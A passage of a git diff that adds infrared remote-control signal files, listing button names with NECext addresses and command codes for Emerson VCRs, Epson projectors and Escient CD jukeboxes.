00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 0F 00 00 00 +# +name: quick_view +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 10 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 13 00 00 00 +# +name: add +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 14 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 15 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 16 00 00 00 +# +name: call +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 17 00 00 00 +# +name: auto +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 19 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 1A 00 00 00 +# +name: KEY_CLOSE +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 1C 00 00 00 +# +name: cc_channel +type: parsed +protocol: NECext +address: 16 16 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/21,-1.ir new file mode 100644 index 000000000..af35a9eef --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/21,-1.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: 100 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0A 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0B 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0C 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: P/S +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: SLOW +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: CH_+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: CH_- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: SPEED +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1B 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1C 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1E 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1F 00 00 00 +# +name: CM.SKIP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 29 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/4,-1.ir new file mode 100644 index 000000000..4af947523 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/4,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/40,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/40,-1.ir new file mode 100644 index 000000000..d588d9c93 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Emerson/VCR/40,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 00 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 04 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 06 00 00 00 +# +name: CHANNEL- +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 08 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0A 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0B 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0C 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 10 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 15 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1A 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1C 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 1F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 20 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 21 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 22 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 23 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 24 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 25 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 26 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 27 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 28 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 29 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 28 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Epson/Projector/131,85.ir b/assets/resources/infrared/_CSV-IRDB_/Epson/Projector/131,85.ir new file mode 100644 index 000000000..6efe25e0a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Epson/Projector/131,85.ir @@ -0,0 +1,344 @@ +Filetype: IR signals file +Version: 1 +# +name: S._TONE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 2A 00 00 00 +# +name: CONTRAST +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 2C 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 2C 00 00 00 +# +name: COLOR_TEMP. +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 2D 00 00 00 +# +name: COLOR_TEMP +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 2D 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 70 00 00 00 +# +name: SOURCE_VIDEO +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 70 00 00 00 +# +name: INPUT_VIDEO +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 70 00 00 00 +# +name: SOURCE_INPUT_A +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 71 00 00 00 +# +name: INPUT_A +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 71 00 00 00 +# +name: COMPONENT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 71 00 00 00 +# +name: SOURCE_D4 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 72 00 00 00 +# +name: INPUT_D4/SCART +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 72 00 00 00 +# +name: INPUT_HDMI +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 73 00 00 00 +# +name: HDMI_1 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 73 00 00 00 +# +name: USB +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 76 00 00 00 +# +name: HDMI_2 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 77 00 00 00 +# +name: GAMMA +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 7E 00 00 00 +# +name: ESC +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 84 00 00 00 +# +name: ESCAPE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 84 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 85 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 85 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 85 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8A 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8B 00 00 00 +# +name: SOURCE_SEARCH +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8C 00 00 00 +# +name: FOCUS +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8C 00 00 00 +# +name: ZOOM +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8E 00 00 00 +# +name: COLOR_MODE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 90 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 90 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 91 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 92 00 00 00 +# +name: A/V_MUTE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 93 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 93 00 00 00 +# +name: COMPUTER +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 94 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 95 00 00 00 +# +name: PATTERN +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 96 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 98 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 99 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9A 00 00 00 +# +name: SOURCE_S-VIDEO +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9C 00 00 00 +# +name: INPUT_S-VIDEO +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9C 00 00 00 +# +name: S-VIDEO +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9C 00 00 00 +# +name: SOURCE_INPUT_B +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9D 00 00 00 +# +name: INPUT_B +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9D 00 00 00 +# +name: PC +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9D 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9E 00 00 00 +# +name: USER +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B0 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B0 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B1 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B1 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B2 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B2 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B3 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir b/assets/resources/infrared/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir new file mode 100644 index 000000000..b5211869d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Epson/Unknown_12807990/131,85.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 84 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 85 00 00 00 +# +name: KEY_PAGEUP +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 86 00 00 00 +# +name: KEY_PAGEDOWN +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 87 00 00 00 +# +name: KEY_ZOOMIN +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 88 00 00 00 +# +name: KEY_ZOOMOUT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 89 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8A 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 90 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 92 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 93 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 94 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 95 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 96 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 97 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 98 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 99 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9B 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9E 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B0 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B1 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B2 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir b/assets/resources/infrared/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir new file mode 100644 index 000000000..793e10385 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Epson/Unknown_ELPST12/131,85.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_ESC +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 84 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 85 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8A 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8B 00 00 00 +# +name: COLOR-MODE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 90 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 92 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 93 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9A 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9C 00 00 00 +# +name: INPUT-A-B +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9D 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B0 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B1 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B2 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Epson/Video Projector/131,85.ir b/assets/resources/infrared/_CSV-IRDB_/Epson/Video Projector/131,85.ir new file mode 100644 index 000000000..a6db190d6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Epson/Video Projector/131,85.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: DEFAULT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 39 00 00 00 +# +name: SHARPNESS +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 3B 00 00 00 +# +name: RGBCMY +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 3D 00 00 00 +# +name: INPUT_VIDEO +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 70 00 00 00 +# +name: INPUT_COMPONENT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 71 00 00 00 +# +name: INPUT_HDMI_1 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 73 00 00 00 +# +name: INPUT_HDMI_2 +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 77 00 00 00 +# +name: GAMMA +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 7E 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 84 00 00 00 +# +name: CURSER_ENTER +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 85 00 00 00 +# +name: ASPECT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8A 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8B 00 00 00 +# +name: COLOR_MODE +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 8F 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 90 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 91 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 93 00 00 00 +# +name: PATTERN +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 96 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9A 00 00 00 +# +name: INPUT_S-VIDEO +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9C 00 00 00 +# +name: INPUT_PC +type: parsed +protocol: NECext +address: 83 55 00 00 +command: 9D 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B0 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B2 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: 83 55 00 00 +command: B3 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir new file mode 100644 index 000000000..ae488b237 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/0,0.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: NEXT_PAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: BOTTOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: ADVANCED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: TRACK_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: SONG_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: DONE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: TOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: TRACK_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: SONG_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: PREV_PAGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 62 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 63 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 64 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 65 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 66 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 68 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 69 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 78 00 00 00 +# +name: ABC'S +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 79 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir new file mode 100644 index 000000000..e5c87d25b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/14,0.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 04 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 08 00 00 00 +# +name: CH/PAGE_+ +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0C 00 00 00 +# +name: CH/PAGE_- +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 10 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 11 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 14 00 00 00 +# +name: OPTION +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 14 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 16 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1B 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1B 00 00 00 +# +name: << +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 20 00 00 00 +# +name: >> +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 22 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 22 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 24 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 24 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 24 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 27 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 28 00 00 00 +# +name: IRADIO +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2A 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2A 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2B 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2C 00 00 00 +# +name: PLAY_FAVORITES +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2E 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir new file mode 100644 index 000000000..dc12aa052 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/CD Jukebox/15,0.ir @@ -0,0 +1,176 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 02 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 09 00 00 00 +# +name: CH/PAGE_DN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0E 00 00 00 